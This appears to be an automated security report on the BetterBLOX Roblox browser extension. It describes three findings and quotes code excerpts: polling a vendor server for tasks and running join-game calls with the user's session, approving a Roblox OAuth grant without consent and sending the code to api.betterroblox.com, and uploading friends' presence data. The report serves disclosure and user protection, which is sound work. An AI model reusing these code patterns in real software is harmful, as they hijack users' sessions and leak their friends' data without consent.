Is BetterBLOX - Better Roblox Extension safe?

Medium risk

BetterBLOX is medium risk. Code analysis shows the extension asks api.betterroblox.com for tasks every minute and, when given one, calls Roblox join-game endpoints with your session and posts the results back.…

Allory Dantev3.6.2Chrome Web Store
59Risk
Who publishes it

Allory Dante - 1 other listing from the same operator, none carrying a finding

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
Allory Dante

Same store account

1 other listing published from this account, 959 users between them, none of them carrying a finding.

Shared hosts - 6 hostnames

Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.

api.betterroblox.com
Also called by 1 other listing: BetterBLOX - Better Roblox Extension
api2.betterroblox.com
Also called by 1 other listing: BetterBLOX - Better Roblox Extension
beta.betterroblox.com
Also called by 1 other listing: BetterBLOX - Better Roblox Extension
beta.theme.betterroblox.com
Also called by 1 other listing
betterroblox.com
Also called by 1 other listing
theme.betterroblox.com
Also called by 1 other listing: BetterBLOX - Better Roblox Extension

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

BetterBlox runs server-assigned Roblox join-game lookups from your session

Code analysis shows the extension asks api.betterroblox.com for tasks every minute and, when given one, calls Roblox join-game endpoints with your session and posts the results back.

Severity
High unwanted
Type
Unexpected
CWE
CWE-829
Source
Static analysis
What actually happens
You did this

The BetterBlox server returns a task listing places and server IDs.

The extension did this

The extension calls Roblox join-game-instance for each server using your signed-in session.

Eight calls run in parallel, then results are POSTed back.

The code that does this

Task poll and server-task execution

Readable version

Poll for a task

background.js
            const e = await fetch(`${H}/get-task`, {              method: "GET",              headers: {                "X-Extension-Id": this.extensionId              }            });            if (!e.ok) return void this.scheduleNextCheck();            const t = await e.json();

Join-game call per server

background.js
                  const t = await fetch("https://gamejoin.roblox.com/v1/join-game-instance", {                    method: "POST",                    headers: {                      "Content-Type": "application/json"                    },                    body: JSON.stringify({                      placeId: e.placeId,                      gameId: e.serverId                    })                  });

Return results

background.js
          const t = await fetch(`${K}/submit-server-task`, {            method: "POST",            headers: {              "Content-Type": "application/json",              "X-Extension-Id": this.extensionId            },            body: JSON.stringify(e)          });          if (!t.ok) throw new Error(`Failed to submit server task: ${t.statusText}`);
What is sent back per server
  • Server ID
    3f9a1c2e-7b44-4d0e-9a51-0c6e2b7d18aa

    The Roblox game server the task named.

  • Place version
    1482

    The game version reported by Roblox for that server.

  • Datacenter IP
    128.116.99.3

    The address of the game server's relay endpoint.

  • Extension ID header
    user-1234567890

    Ties each request to your Roblox account.

Hosts involved
    • api2.betterroblox.com

    Issues tasks and receives submit-task and submit-server-task results.

    • gamejoin.roblox.com

    Roblox endpoint called with your session at the server's request.

Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

BetterBlox approves a Roblox OAuth login for itself using your signed-in session

Code analysis shows the extension posts a Roblox OAuth authorization with your cookies, with no consent screen, and sends the resulting code to api.betterroblox.com for a token.

Severity
High unwanted
Type
Unexpected
CWE
CWE-200
Source
Static analysis
What actually happens
You did this

The extension needs an auth token and has none stored or valid.

The extension did this

It approves a Roblox OAuth request as you and exchanges the code with its own server.

The redirect URI is localhost, so the code is read from the response, not a page.

The code that does this

Programmatic OAuth approval and code exchange

Readable version

Authorization POST with CSRF token

background.js
        const i = (await fetch("https://apis.roblox.com/oauth/v1/authorizations", {          method: "POST",          headers: {            "Content-Type": "application/json"          },          body: JSON.stringify({            clientId: e,            responseTypes: ["Code"],            redirectUri: "http://localhost:4949/auth/callback",            scopes: [{              scopeType: "openid",              operations: ["read"]            }, {              scopeType: "profile",              operations: ["read"]            }],            state: t,            nonce: s,            resourceInfos: [{              owner: {                id: r,                type: "User"              },              resources: {}            }]          })        })).headers.get("x-csrf-token");        if (!i) throw new Error("Failed to get XSRF token from response headers");        return i      }(a, t, s, o), l = await fetch("https://apis.roblox.com/oauth/v1/authorizations", {        method: "POST",        headers: {          "Content-Type": "application/json",

Code sent to api.betterroblox.com

background.js
          redirectUri: "http://localhost:4949/auth/callback",          scopes: [{            scopeType: "openid",            operations: ["read"]          }, {            scopeType: "profile",            operations: ["read"]          }],          state: t,          nonce: s,          resourceInfos: [{            owner: {              id: o,              type: "User"            },            resources: {}          }]        })      }), u = await l.json();      if (u.location) {        const {          code: e,          state: t        } = function(e) {          try {            const t = new URL(e);            return {
Authorization request parameters
  • Client ID
    1298491012038790056

    The OAuth app that receives access to your Roblox profile.

  • Scopes
    openid:read, profile:read

    Read access to your OpenID identity and profile.

  • Redirect URI
    http://localhost:4949/auth/callback

    Local address the code would normally return to.

  • Resource owner
    1234567890

    Your own Roblox user ID, read from your session.

Hosts involved
    • apis.roblox.com

    Issues the OAuth code using your browser's Roblox cookies.

    • api.betterroblox.com

    Receives the code and state and returns the auth token.

Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

BetterBlox uploads your friends' online status and current game to its server

Code analysis shows the extension reads Roblox presence for you and your friends and POSTs user IDs, game IDs and place IDs to api2.betterroblox.com about once a minute.

Severity
High unwanted
Type
Unexpected
CWE
CWE-359
Source
Static analysis
What actually happens
You did this

You stay signed in to Roblox while friends play games.

The extension did this

The extension sends your friends' presence and game to its own server.

No prompt or setting gates the upload in the code reviewed.

The code that does this

Presence filter and upload in class R

Readable version

Filter to friends and self, drop offline, dedupe

background.js
          if (this.shouldSkipServerSend()) return;          const t = Object.values(e),            s = await N.getFriendIds(),            r = N.currentUserId ? parseInt(N.currentUserId) : null,            i = t.filter(e => {              const t = parseInt(e.userId);              return t === r || s.includes(t)            });          if (0 === i.length) return;          const a = Date.now(),            n = i.filter(e => {              const {                type: t,                game: s              } = x(e);              if (0 === t) return !1;              const r = this.lastSent.get(String(e.userId)),                i = !r || r.type !== t || r.game !== s,                n = r && a - r.at >= 18e4;              return i || n            });          if (0 === n.length) return;

POST to the server

background.js
      async sendToServer(e) {        this.isRequestInProgress = !0;        try {          const t = await fetch(P, {            method: "POST",            headers: {              "Content-Type": "application/json"            },            body: JSON.stringify({              presences: e            })          });
Fields in each presence entry sent
  • Friend user ID
    1234567890

    Identifies which of your friends is online.

  • Presence type
    2

    Whether the friend is online, in a game or in Studio.

  • Place ID
    920587237

    The game your friend is currently playing.

  • Game instance ID
    3f9a1c2e-7b44-4d0e-9a51-0c6e2b7d18aa

    The specific server your friend is on.

Where the data goes
    • api2.betterroblox.com

    Receives the batch-presence POST with friend IDs and games.

Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

What it can do

Permissions this extension asks for, as declared in version 3.6.2. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Read and change your data on roblox.com

    *://*.roblox.com/*

  • Read and change your data on rbxcdn.com

    *://*.rbxcdn.com/*

  • Read and change your data on betterroblox.com

    https://betterroblox.com/* and 1 more

  • Store data in your browser

    storage

  • Store an unlimited amount of data in your browser

    unlimitedStorage

  • Show you desktop notifications

    notifications

  • Block and redirect the requests your browser makes

    declarativeNetRequest

  • See the address and title of every tab you have open

    tabs

  • Read and change cookies, including the ones that keep you signed in

    cookies

  • Schedule its own background tasks

    alarms

  • Keep running in the background while your browser is open

    background

Updated 15 October 2026lplhnhhlblehjmmkcpjbojiaanbpgnpd